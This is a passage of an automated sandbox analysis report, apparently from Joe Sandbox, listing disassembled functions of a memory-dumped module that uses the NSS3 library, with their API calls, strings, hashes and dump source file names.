Instruction Fuzzy Hash: 4A11E5B6601205BBEB108B54DC40E5B7398AF59799F248434F91C87B12E731D915C7BA

Function 6C72FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C72FD9E

Part of subcall function 6C6E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C611A48), ref: 6C6E9BB3
Part of subcall function 6C6E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C611A48), ref: 6C6E9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C72FDB9

Part of subcall function 6C60A900: TlsGetValue.KERNEL32(00000000,?,6C7814E4,?,6C5A4DD9), ref: 6C60A90F
Part of subcall function 6C60A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C60A94F

PR_Unlock.NSS3 ref: 6C72FDD4
PR_Lock.NSS3 ref: 6C72FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C72FE0D
PR_Unlock.NSS3 ref: 6C72FE23

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 2723a50b5e0ce1e705f1763788bae62661c91ad8e44d0f2413f75d1a3b79593b
Instruction ID: 9ef3645b95e5f0dce384d17e37cf53fa56157bce135b0a442450e7c22ef46d69
Opcode Fuzzy Hash: 2723a50b5e0ce1e705f1763788bae62661c91ad8e44d0f2413f75d1a3b79593b
Instruction Fuzzy Hash: 7C018EF6E05610ABCF055E15FD008467661EB032687254375E93A47BA2E722ED28C786

Function 6C6B6840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C6BAA9B,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B6846

Part of subcall function 6C611770: calloc.MOZGLUE(00000001,0000019C,?,6C6115C2,?,?,?,?,?,00000001,00000040), ref: 6C61178D

PR_NewMonitor.NSS3(00000000,?,6C6BAA9B,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B6855

Part of subcall function 6C678680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C6255D0,00000000,00000000), ref: 6C67868B
Part of subcall function 6C678680: PR_NewLock.NSS3(00000000,00000000), ref: 6C6786A0
Part of subcall function 6C678680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C6786B2
Part of subcall function 6C678680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C6786C8
Part of subcall function 6C678680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C6786E2
Part of subcall function 6C678680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C6786EC
Part of subcall function 6C678680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C678700

PR_NewMonitor.NSS3(?,6C6BAA9B,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B687D

Part of subcall function 6C611770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6118DE
Part of subcall function 6C611770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6118F1

PR_NewMonitor.NSS3(?,6C6BAA9B,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B688C

Part of subcall function 6C611770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C6118FC
Part of subcall function 6C611770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C61198A

PR_NewLock.NSS3 ref: 6C6B68A5

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_NewLock.NSS3 ref: 6C6B68B4

Part of subcall function 6C6E98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6E9946
Part of subcall function 6C6E98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A16B7,00000000), ref: 6C6E994E
Part of subcall function 6C6E98D0: free.MOZGLUE(00000000), ref: 6C6E995E

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: e1e359613ad834a017fc91f1cf3b38acf6efe6042a5a1ab27d59dab8bc4b80f2
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 59014BB4A05B0746E7566B7948143E776E89F0238DF10093F846AD6B50EF30D418CBBD

Function 6C60AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C60AFDA

Strings

%s at line %d of [%.10s], xrefs: 6C60AFD3
misuse, xrefs: 6C60AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C60AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6C60AF5C

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: ddd97bd0db864b951b0c8d6c1a7751123dbfda165390ef3b19bfa7aab357b12a
Instruction ID: 897885d847de61d295aa20548500513b60c6cc50b5dd2bb44fad4dea6d6dfbc7
Opcode Fuzzy Hash: ddd97bd0db864b951b0c8d6c1a7751123dbfda165390ef3b19bfa7aab357b12a
Instruction Fuzzy Hash: E891E371B012158FDB08CF69CA54AAEB7F1BF85354F1985A8E865BB752C330ED02CB64

Function 6C66FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C66FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C66FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C66FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C66FDDE

Part of subcall function 6C678800: TlsGetValue.KERNEL32(?,6C68085A,00000000,?,6C628369,?), ref: 6C678821
Part of subcall function 6C678800: TlsGetValue.KERNEL32(?,?,6C68085A,00000000,?,6C628369,?), ref: 6C67883D
Part of subcall function 6C678800: EnterCriticalSection.KERNEL32(?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678856
Part of subcall function 6C678800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C678887
Part of subcall function 6C678800: PR_Unlock.NSS3(?,?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678899

Strings

pkcs11:, xrefs: 6C66FC4F

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: a262fe75f307f94c97babad550b09e81d0eecd6b6e29a7d73a07a78f1848b0a1
Instruction ID: fb62aca66c14557af1291408cd0a208cd0bd98a10332ccfe9cb832dd9f69ba66
Opcode Fuzzy Hash: a262fe75f307f94c97babad550b09e81d0eecd6b6e29a7d73a07a78f1848b0a1
Instruction Fuzzy Hash: 3151E1B1A05111ABEB108F6ADC40B9A33B5AF4635CF240425DD196BF52EB30F904CBAF

Function 6C5ABDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C5ABE02

Part of subcall function 6C6D9C40: memcmp.VCRUNTIME140(?,00000000,6C5AC52B), ref: 6C6D9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5ABE9F

Strings

%s at line %d of [%.10s], xrefs: 6C5ABE98
database corruption, xrefs: 6C5ABE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5ABE89

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 2216f8066df1fd5321795531a5a4afc4b34a55a9c4656f932c87e79a9cd0196c
Instruction ID: 7d9507ec4a90b262d3a3267f550cacf6071694cddeff78d0c43222d898b60c89
Opcode Fuzzy Hash: 2216f8066df1fd5321795531a5a4afc4b34a55a9c4656f932c87e79a9cd0196c
Instruction Fuzzy Hash: 6B314B31B0425D8BCB00DFAACCD4AAFBBA2AF45314B098954EE545BB41D771ED16C7D0

Function 6C696DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C696E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C696E57

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C696E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C696EAA

Strings

nsl, xrefs: 6C696DF9

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nsl
API String ID: 3163584228-3778653006
Opcode ID: a7c31e4d418993d61747044087fa479959d68ba4b31a00d7ca34828bcfbdc9da
Instruction ID: 8517ae925b021a0884b5f7009928a9eaabe00ab4f3f0aa83381b780e0547eea8
Opcode Fuzzy Hash: a7c31e4d418993d61747044087fa479959d68ba4b31a00d7ca34828bcfbdc9da
Instruction Fuzzy Hash: 2331C371619713EFDF941E34CD04396B7A4AB0631AF24063DD59AD6A80E730E855CBC9

Function 6C621EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C624C64,?,-00000004), ref: 6C621EE2

Part of subcall function 6C681820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C621D97,?,?), ref: 6C681836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C624C64,?,-00000004), ref: 6C621F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C624C64,?,-00000004), ref: 6C621F37
DER_DecodeTimeChoice_Util.NSS3(?,dLbl,?,?,?,?,?,?,?,?,00000000,00000000,?,6C624C64,?,-00000004), ref: 6C621F53

Strings

dLbl, xrefs: 6C621F2B, 6C621F51

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLbl
API String ID: 3216063065-4283428794
Opcode ID: 4a12eba4b9b07fd60b377eb85abf3c4fde39f243ca493228f5c2b157dc6e5576
Instruction ID: 3f54422bd5e06f99dffc29de45e3d53d32819fb7b1ecc5826903ab45fb224ac3
Opcode Fuzzy Hash: 4a12eba4b9b07fd60b377eb85abf3c4fde39f243ca493228f5c2b157dc6e5576
Instruction Fuzzy Hash: ED21D7B1509306AFC710CF25DC00ADB77E9AB99358F400929EC64C3A00F335E909CBEA

Function 6C610DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C610BDE), ref: 6C610DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C610BDE), ref: 6C610DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C610BDE), ref: 6C610DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C610BDE), ref: 6C610E32

Strings

%s incr => %d (find lib), xrefs: 6C610E2D

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 2fb34e5ae917f0cfb35e1f1af203ad3ca2360985c70434d4ed0fe75e72c5d840
Instruction ID: dd033d16901376684bb731de55aa1a74a93e2ef8ebe8d0a1f64fcfd810a32a12
Opcode Fuzzy Hash: 2fb34e5ae917f0cfb35e1f1af203ad3ca2360985c70434d4ed0fe75e72c5d840
Instruction Fuzzy Hash: 14012472B042249FEA208F2A8C49E5773FCDB46B0AB05443DE949D3A42E761EC2587E1

Function 6C6CAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]kl,00000000,?,?,6C6A6AC6,?), ref: 6C6CAC2D

Part of subcall function 6C66ADC0: TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE10
Part of subcall function 6C66ADC0: EnterCriticalSection.KERNEL32(?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE24
Part of subcall function 6C66ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C64D079,00000000,00000001), ref: 6C66AE5A
Part of subcall function 6C66ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE6F
Part of subcall function 6C66ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE7F
Part of subcall function 6C66ADC0: TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEB1
Part of subcall function 6C66ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEC9

PK11_FreeSymKey.NSS3(?,@]kl,00000000,?,?,6C6A6AC6,?), ref: 6C6CAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]kl,00000000,?,?,6C6A6AC6,?), ref: 6C6CAC59
free.MOZGLUE(8CB6FF01,6C6A6AC6,?,?,?,?,?,?,?,?,?,?,6C6B5D40,00000000,?,6C6BAAD4), ref: 6C6CAC62

Strings

@]kl, xrefs: 6C6CAC05

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]kl
API String ID: 1595327144-473540061
Opcode ID: 70847310082a8c468020e9497dcc2481838b0e2529d5d6851fa4096560385233
Instruction ID: b5f24f2cfdf24ca0eb1d67c14f58e081058794a38bab1cce40c482c399a07c6e
Opcode Fuzzy Hash: 70847310082a8c468020e9497dcc2481838b0e2529d5d6851fa4096560385233
Instruction Fuzzy Hash: 330178B56002149BDB00CF15E8C0B5677A8EB05B59F1880A8E94A8FB06D730E808CBAA

Function 6C5B9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5B9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C5B9D45
EnterCriticalSection.KERNEL32(?), ref: 6C5B9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C5B9DDE

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 3d4a6ac73f7d522fc2e58c0858e577b54be274233848a888f65842c0507f46f8
Instruction ID: fbe96d04885f23cb70f4496374f3d4b0a340abac1b7c958dbc8639d84da89197
Opcode Fuzzy Hash: 3d4a6ac73f7d522fc2e58c0858e577b54be274233848a888f65842c0507f46f8
Instruction Fuzzy Hash: 84A1BF717051088FEB0ADF24DCA87AE3B75BB93315F38013DE5166BA40DB39A845DB92

Function 6C641E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C641ECC

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

TlsGetValue.KERNEL32 ref: 6C641EDF
EnterCriticalSection.KERNEL32(?), ref: 6C641EEF
PR_ExitMonitor.NSS3(?), ref: 6C641F37
PR_Unlock.NSS3(?), ref: 6C641F44

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 41a93146e5a4eaf4c283fa482b4bc4e3a1a652b41f50a3a3e4e9ededa5dd1f05
Instruction ID: 6efd1c9b6ae5eaf33e84c9c18ce2628b1076f8a2f6a33ba84a437159ba0ad428
Opcode Fuzzy Hash: 41a93146e5a4eaf4c283fa482b4bc4e3a1a652b41f50a3a3e4e9ededa5dd1f05
Instruction Fuzzy Hash: 88718EB59043019FD700CF24D840A9AB7F5FF89358F14C929E89993B21E731F969CB9A

Function 6C6CDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6CDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C6CDE77

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 627e00dbf4bdc884e51eb74d49d9ab546c124a6a25b37e0a04b922db06d8fae4
Instruction ID: fa6bc81a54b1cdbdc51d65540e86cf8c585505ce86260fb393dd94ef6240ca12
Opcode Fuzzy Hash: 627e00dbf4bdc884e51eb74d49d9ab546c124a6a25b37e0a04b922db06d8fae4
Instruction Fuzzy Hash: C6717471A40318CFCB10CF9AC5C069AB7B4FF89718F25816ED9686B702DB70A902CF95

Function 6C63DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(D958E852,6C641397,5B5F5EC0,?,?,6C63B1EE,2404110F,?,?), ref: 6C63AB3C
